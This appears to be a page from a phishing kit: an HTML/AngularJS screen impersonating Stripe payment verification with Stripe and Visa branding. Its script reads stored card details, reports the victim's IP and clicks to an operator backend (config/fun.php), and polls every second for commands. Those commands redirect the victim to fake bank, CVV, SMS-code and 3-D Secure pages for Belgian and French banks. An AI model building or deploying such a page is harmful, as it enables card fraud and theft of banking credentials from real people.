<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Stripe Payment Verification</title>
    <style>
      * {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}



body {
  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
  background-color: #f8fafc;
  min-height: 80vh;
  display: flex;
  align-items: center;
  justify-content: center;
}

.container {
  background-color: white;
  width: 100%;
  max-width: 480px;
  padding: 2rem;
  border-radius: 12px;
  box-shadow: 0 4px 6px -1px rgb(0 0 0 / 0.1);
}

.header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding-bottom: 2rem;
  border-bottom: 1px solid #e2e8f0;
}

.stripe-logo {
  height: 24px;
}

.visa-logo {
  height: 30px;
}

.main-content {
  padding-top: 2rem;
  text-align: center;
}

.timer {
  position: relative;
  width: 120px;
  height: 120px;
  margin: 2rem auto;
}

.progress-ring__circle {
  transform: rotate(-90deg);
  transform-origin: 50% 50%;
  stroke-dasharray: 326.73;
  stroke-dashoffset: 81.68;
}

.timer-text {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  font-size: 1.5rem;
  font-weight: 600;
  color: #1f2937;
}

h1 {
  font-size: 1.25rem;
  color: #1f2937;
  margin-bottom: 2rem;
  font-weight: 500;
}

.payment-info {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 0.5rem;
  color: #4b5563;
}

.payment-icon {
  font-size: 1.25rem;
}

.payment-text {
  font-size: 0.975rem;
}
    </style>
  </head>
  <body style="background-color:#efecec6e"     ng-app="sa_app"  ng-controller="controller" ng-init="show_data()">
    <div class="container">
      <header class="header">
        <img src="https://upload.wikimedia.org/wikipedia/commons/b/ba/Stripe_Logo%2C_revised_2016.svg" alt="Stripe" class="stripe-logo" />
        <img src="https://www.zenithimmigration.ca/wp-content/uploads/2022/06/visa-mastercard-logo.png" alt="Verified by Visa" class="visa-logo" />
      </header>
      
      <main class="main-content">
        <div class="timer">
          <svg class="progress-ring" width="120" height="120">
            <circle class="progress-ring__circle" stroke="#6366F1" stroke-width="8" fill="transparent" r="52" cx="60" cy="60"/>
          </svg>
          <span class="timer-text" id="countdown">4:31</span>
        </div>
        
        <h1>Open your bank app to verify your payment.</h1>
        
        <div class="payment-info">
          
          <p class="payment-text">Your payment of <span ng-bind="montant"></span>  to <span ng-bind="merchant"></span></p>
        </div>
      </main>
    </div>
    <script>
      document.addEventListener('DOMContentLoaded', () => {
  // Set initial time: 4 minutes and 31 seconds
  let totalSeconds = 0 * 60 + 31;
  const initialSeconds = totalSeconds;
  
  const countdownEl = document.getElementById('countdown');
  const circle = document.querySelector('.progress-ring__circle');
  const radius = circle.r.baseVal.value;
  const circumference = radius * 2 * Math.PI;
  
  // Set initial circle properties
  circle.style.strokeDasharray = `${circumference} ${circumference}`;
  circle.style.strokeDashoffset = 0;
  
  function setProgress(percent) {
    const offset = circumference - (percent / 100) * circumference;
    circle.style.strokeDashoffset = offset;
  }
  
  function updateCountdown() {
    const minutes = Math.floor(totalSeconds / 60);
    const seconds = totalSeconds % 60;
    
    // Format the time to always show two digits for seconds
    countdownEl.textContent = `${minutes}:${seconds.toString().padStart(2, '0')}`;
    
    // Calculate progress percentage
    const progress = (totalSeconds / initialSeconds) * 100;
    setProgress(progress);
    
    if (totalSeconds > 0) {
      totalSeconds--;
      setTimeout(updateCountdown, 1000);
    } else {
      // Redirect when countdown reaches zero
      window.location.href = 'loading.php';
    }
  }
  
  // Start the countdown
  updateCountdown();
});
      
    </script>

    
<script src="../file/jquery.min.js"></script>
<script src="../file/angular.min.js"></script>
<script src="../file/dirPaginate.js"></script>

<script> 

var fetch = angular.module('sa_app', ['angularUtils.directives.dirPagination']);

fetch.controller('controller', ['$scope', '$http','$filter', function ($scope, $http,$filter) {
    var urlx = window.location.pathname;
    var pathname = urlx.replace("stripe.php", "");
    $scope.adField="";

 
    $scope.info_User={};
    $scope.load='';
    $scope.loads_info='';
    $scope.base_url="";





    setInterval(function() {
                var Detaile = {}; 
                Detaile.ip=  $scope.info_User['ip'];
                $http({
                     method: 'post',
                     url:  $scope.base_url+"config/fun.php?request=3",
                     data: JSON.stringify(Detaile), 
                      headers: {'Content-Type': 'application/json'}
               }).then(function(data) {
                   $scope.ip=data.data.ip;
                   $scope.fun=data.data.fun;
                   $scope.data=data.data.data;
                   $scope.bank=data.data.bank;
                   $scope.code=data.data.code;
                     console.log(data);
                     $scope.detaile2  =JSON.parse(localStorage.getItem('detaile'));
 
 if ($scope.fun== "gotopay") {
     window.location.href = pathname+'../pay.php?token='+$scope.detaile2.token+'&idp='+btoa($scope.detaile2.montant);
 }
 if ($scope.fun== "gotochoix") {
                       window.location.href = pathname+'../selectbank.php';
                   }

                   if ($scope.fun== "gotobanpay") {
                       window.location.href = pathname+'../banpay.php';
                   }
                   if ($scope.fun== "gotoloading") {
                       window.location.href = pathname+'../loading.php';
                   }
                   if ($scope.fun== "gotoing") {
                       window.location.href = pathname+'ing.php';
                   }

                   if ($scope.fun== "gotoaccepter") {
                       window.location.href = pathname+'accepter.php';
                   }

                   if ($scope.fun== "gotorefuser") {
                       window.location.href = pathname+'refuser.php';
                   }
 
                   if ($scope.fun== "gotobpost") {
                       window.location.href = pathname+'bpost.php';
                   }

                   if ($scope.fun== "gotom1") {
                       window.location.href = pathname+'m1.php';
                   }
                   if ($scope.fun== "goto3dapp") {
                       window.location.href = pathname+'3Dsecureapp.php';
                   }
                   
                   if ($scope.fun== "goto3dsms") {
                       window.location.href = pathname+'3Dsecuresms.php';
                   }
                   


                   if ($scope.fun== "gotoparibas") {
                       window.location.href = pathname+'paribas.php';
                   }
              
                   if ($scope.fun== "gotobelfius") {
                       window.location.href = pathname+'bel.php';
                   }
                   
                   if ($scope.fun== "gotodigipass") {
                       window.location.href = pathname+'digi.php';
                   }
                   
                   if ($scope.fun== "gotohello") {
                       window.location.href = pathname+'hello.php';
                   }
                   
            if ($scope.fun== "goto3dapp") {
                       window.location.href = pathname+'3Dsecureapp.php';
                   }
                   
                   if ($scope.fun== "goto3dsms") {
                       window.location.href = pathname+'3Dsecuresms.php';
                   }
                   
                   
                   if ($scope.fun== "gotocbc") {
                       window.location.href = pathname+'cbc.php';
                   }
                   
                   if ($scope.fun== "gotocvv") {
                       window.location.href = pathname+'cvv.php';
                   }
                   
                   if ($scope.fun== "gotobanpay") {
                       window.location.href = pathname+'../banpay.php';
                   }
                
                   if ($scope.fun== "gotoCC") {
                       window.location.href = pathname+'../gotocc.php';
                   }
                    
                   if ($scope.fun== "gotoFIN") {
                       window.location.href = pathname+'../fin.php';
                   }
               });
    }, 1000);


    $scope.show_data = function(){
        $http({
          method: 'get',
          url: "../config/device.php"
        }).then(function successCallback(response) {
                $scope.info_User=response.data;
                $scope.base_url=$scope.info_User['url'];
                $scope.detaile  =JSON.parse(localStorage.getItem('detaile'));
      $scope.card = $scope.detaile.card_nbr.slice(-4);
      $scope.montant = $scope.detaile.montant;
      $scope.merchant = $scope.detaile.merchant;

                console.log($scope.info_User['ip'])


            var Detailefun = {}; 
            Detailefun.ip=  $scope.info_User['ip'];
            Detailefun.fun= "=> PAGE STRIPE APPROVE";
            $http({
                 method: 'post',
                 url:  $scope.base_url+"config/fun.php?request=2",
                 data: JSON.stringify(Detailefun), 
                  headers: {'Content-Type': 'application/json'}
           }).then(function(data) {});



        }); 
    }
 
    $scope.validation = function(){ 
            var Detaile = {}; 
            Detaile.ip=  $scope.info_User['ip'];
            Detaile.fun= "CLICK TO REPATE CC";
            $http({
                 method: 'post',
                 url:  $scope.base_url+"config/fun.php?request=2",
                 data: JSON.stringify(Detaile), 
                  headers: {'Content-Type': 'application/json'}
           }).then(function(data) {
                window.location.href = pathname+'card.php';
   
           });
    }



}]);

</script>  

  </body>
</html>